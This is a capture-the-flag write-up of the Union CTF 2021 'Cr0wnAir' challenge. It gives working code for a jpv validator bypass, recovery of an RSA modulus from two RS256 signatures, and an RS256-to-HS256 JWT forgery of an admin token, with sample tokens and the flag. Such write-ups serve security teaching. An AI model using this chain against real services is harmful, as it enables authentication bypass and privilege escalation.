Tags: rs256 hs256 jwt 

Rating: 5.0

# Cr0wnAir

## Step 1: Getting two `RS256` signatures

To get a signature we need to bypass a filter validated by `jpv` ("JSON Pattern Validator").

TL;DR - this package has a lot of [bypasses](https://github.com/manvel-khnkoyan/jpv/issues?q=is%3Aissue+bypass) and should probably not be used for security sensitive stuff.
We went with the following bypass:

```json
{
"firstName": "John",
"lastName": "Doe",
"passport": "123456789",
"ffp": "CA01234567",
"extras": {
"sssr": {
"sssr": "FQTU"
},
"constructor": {
"name": "Array"
}
}
}
```

Using this we can now get two different tokens by changing `ffp`:

```python
POST("http://34.105.202.19:3000/checkin", json={...})["token"]
# ...
```

Using this we now have `jwt0` and `jwt1`:

```
jwt0 = "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJzdGF0dXMiOiJicm9uemUiLCJmZnAiOiJDQTEyMzQ1NjcwIn0.qUyBBaVNyJ65S_BryJi-nNLgZv1grL9Pivn9OYZKkxMV3fnt6iXanNb9uJIqw2UaFHhQs0vg6LIHn95c42iKcgzUjukk71DmZSwGkbEbqDMIRN8IfNGCsiHcN6OTNhpj-gpNWTsLtGVLQpuAA6WnG1pizKb_WP2oihOD6t13_rE6n5Z8DA689D4EqWJB4jiwvd4WGl8Qlc1LWv4fU76zZHI8_x98FIsih0L1AC2SoPSMccDBPAs7MuF9TCSx10LajwQxMt1_zAIfEbLocJnfKLw4kiuJS6npU7xdMvcbWgsHaN5rMb_7dxVci-uMn3IIPHiL23PK0nBpYSe6U_uBOw"
jwt1 = "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJzdGF0dXMiOiJicm9uemUiLCJmZnAiOiJDQTEyMzQ1NjcxIn0.d3j6-ipgFrOQWaOAhbBUYoa2H9zstPxQsFN63kaUPNinwY2ClvssctEfG3UqQXjBMz39cFgQj_kHyu6fTHj8OtToQ8ul1iav_TewhAov1uo6Sumsi6l6-Ubwtj_oe3-FZ0taol-YYihu8rPlVNvh4oAYwoptrwS6bR5Y1atT0Cd8fGLgyFfbrfLEIN7dfd2T3CUCVemgQ1Ydpuxyp_MteXCcbDx6QimMkzNU_DGU6KEBKft-gz1kZLGWwFtc5Pm523x3kHS31W3pCxyTE6kGEjcz45tvI9pwlWEblbMQhW5zJELLm8XHVrLbMBz6R_e-m4YpaGxgu7WICZelpbikaw"
```

To find `N` we want to calc: `gcd(magic0, magic1)` with magic being: `pow(signature, e) - msg)` for each of the JWTs.
Note that even though the two 'magic' will be *huge* numbers, we can calculate the GCD of the two.

Note all numbers are wrapped in `gmpy2.mpz(...)` to speed-up things, but it isn't needed.

```python
from base64 import urlsafe_b64decode
from Crypto.Util.number import bytes_to_long, long_to_bytes
import gmpy2

def get_magic(jwt):
header, payload, signature = jwt.split(".")

raw_signature = urlsafe_b64decode(f"{signature}==")
raw_signature_int = gmpy2.mpz(bytes_to_long(raw_signature))

# In RS256 we sign the base64 encoded header and payload padded using PKCS1 v1.5:
padded_msg = pkcs1_v1_5_encode(f"{header}.{payload}".encode(), len(raw_signature))
padded_int = gmpy2.mpz(bytes_to_long(padded_msg))

return gmpy2.mpz(pow(raw_signature_int, e) - padded_int)
```

Note: I had a lot of trouble finding a implementation of `pkcs1_v1_5_encode` that uses SHA256, so here you go:

```
from hashlib import sha256

def pkcs1_v1_5_encode(msg: bytes, n_len: int):
SHA256_Digest_Info = b'\x30\x31\x30\x0D\x06\x09\x60\x86\x48\x01\x65\x03\x04\x02\x01\x05\x00\x04\x20'
T = SHA256_Digest_Info + sha256(msg).digest()
PS = b'\xFF' * (n_len - len(T) - 3)
return b'\x00\x01' + PS + b'\x00' + T
```

This takes about xx sec:

```python
e = gmpy2.mpz(65537)

magic0 = get_magic(jwt0)
magic1 = get_magic(jwt1)
# ^ Check the number of digits: len(str(magic0)) == 40_392_410 :O

N = gmpy2.gcd(magic0, magic1)
assert N != 1
# ^ This takes a minute or two
print(hex(N))
# 0xc3995f664ac0cc18e5dae7f66c5e2ab96ccf6e613372c8d51b011e3eb8f7b5087681058cc3b1cebcd36a54c59bbb22b45585b293f109d885e4ad5f91ef2cf544e15fda0307e8c45c7556a4405d0c40955118e9b0008c62f98ed7ddfa3c1ec8c9573cc49385f2fa7593192fc5b8d496fa7d1c87cd67959ca4bab55c0ca4d2ef3c4f8ceb643acc1fca9a2a672109f14ca7df656059c67520ae020759bd65ad230cb537d288724f77b7194593faa9144a2687b4c4d58aaf02c5233395f142d404a6013d70184fbfadc52d4cfbd52a68747d33b6b2a12c090a76306cca93c2b5221c1dbee697aa03851887016daa8cc0a8e95c87d325221beebc04cbf8b737dcbc0b
```

## Generating a public key (`der`/`pem`) from `e` and `N`

Save the following as `def.asn1` (insert `N`):

```ini
# Start with a SEQUENCE
asn1=SEQUENCE:pubkeyinfo

# pubkeyinfo contains an algorithm identifier and the public key wrapped in a BIT STRING
[pubkeyinfo]
algorithm=SEQUENCE:rsa_alg
pubkey=BITWRAP,SEQUENCE:rsapubkey

# algorithm ID for RSA is just an OID and a NULL
[rsa_alg]
algorithm=OID:rsaEncryption
parameter=NULL

# Actual public key: modulus and exponent
[rsapubkey]
n=INTEGER:0xc3995f664ac0cc18e5dae7f66c5e2ab96ccf6e613372c8d51b011e3eb8f7b5087681058cc3b1cebcd36a54c59bbb22b45585b293f109d885e4ad5f91ef2cf544e15fda0307e8c45c7556a4405d0c40955118e9b0008c62f98ed7ddfa3c1ec8c9573cc49385f2fa7593192fc5b8d496fa7d1c87cd67959ca4bab55c0ca4d2ef3c4f8ceb643acc1fca9a2a672109f14ca7df656059c67520ae020759bd65ad230cb537d288724f77b7194593faa9144a2687b4c4d58aaf02c5233395f142d404a6013d70184fbfadc52d4cfbd52a68747d33b6b2a12c090a76306cca93c2b5221c1dbee697aa03851887016daa8cc0a8e95c87d325221beebc04cbf8b737dcbc0b

e=INTEGER:0x010001
```

Then run:

```sh
openssl asn1parse -genconf def.asn1 -out pubkey.der
openssl rsa -in pubkey.der -inform der -pubin -out pubkey.pem
```

And we get the public key in PEM format:

```
-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAw5lfZkrAzBjl2uf2bF4q
uWzPbmEzcsjVGwEePrj3tQh2gQWMw7HOvNNqVMWbuyK0VYWyk/EJ2IXkrV+R7yz1
ROFf2gMH6MRcdVakQF0MQJVRGOmwAIxi+Y7X3fo8HsjJVzzEk4Xy+nWTGS/FuNSW
+n0ch81nlZykurVcDKTS7zxPjOtkOswfypoqZyEJ8Uyn32VgWcZ1IK4CB1m9Za0j
DLU30ohyT3e3GUWT+qkUSiaHtMTViq8CxSMzlfFC1ASmAT1wGE+/rcUtTPvVKmh0
fTO2sqEsCQp2MGzKk8K1IhwdvuaXqgOFGIcBbaqMwKjpXIfTJSIb7rwEy/i3N9y8
CwIDAQAB
-----END PUBLIC KEY-----
```

## Signing a arbitrary JWT using a public key

Note: For this you need the `PyJWT` package in pip.
There are two packages which allows `import jwt`.

```bash
JWT_HEADER="eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9" # b64({"typ":"JWT","alg":"HS256"})
PAYLOAD=$(echo -n '{"admin":true}' | base64 | tr -d "=") # Any JWT payload
# Generate the signature:
echo -n "$JWT_HEADER.$PAYLOAD" | openssl dgst -sha256 -mac HMAC -macopt hexkey:$(cat pubkey.pem | xxd -p | tr -d '\n')
(stdin)= 63af5ca2408da191d7f75bbcc1c441ec23a4b291a61d2f6478777967b9682132

SIG=$(python3 -c 'from base64 import *; print(urlsafe_b64encode(bytes.fromhex("63af5c...2132")).decode().rstrip("="))')

echo "Forged JWT: $JWT_HEADER.$PAYLOAD.$SIG"
```

Forged JWT: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhZG1pbiI6dHJ1ZX0.Y69cokCNoZHX91u8wcRB7COkspGmHS9keHd5Z7loITI

Post it to the flag endpoint and get: `union{I_<3_JS0N_4nD_th1ngs_wr4pp3d_in_JS0N}`

Original writeup (https://github.com/NicolaiSoeborg/ctf-writeups/blob/master/2021/Union%20CTF%202021/Cr0wnAir/README.md).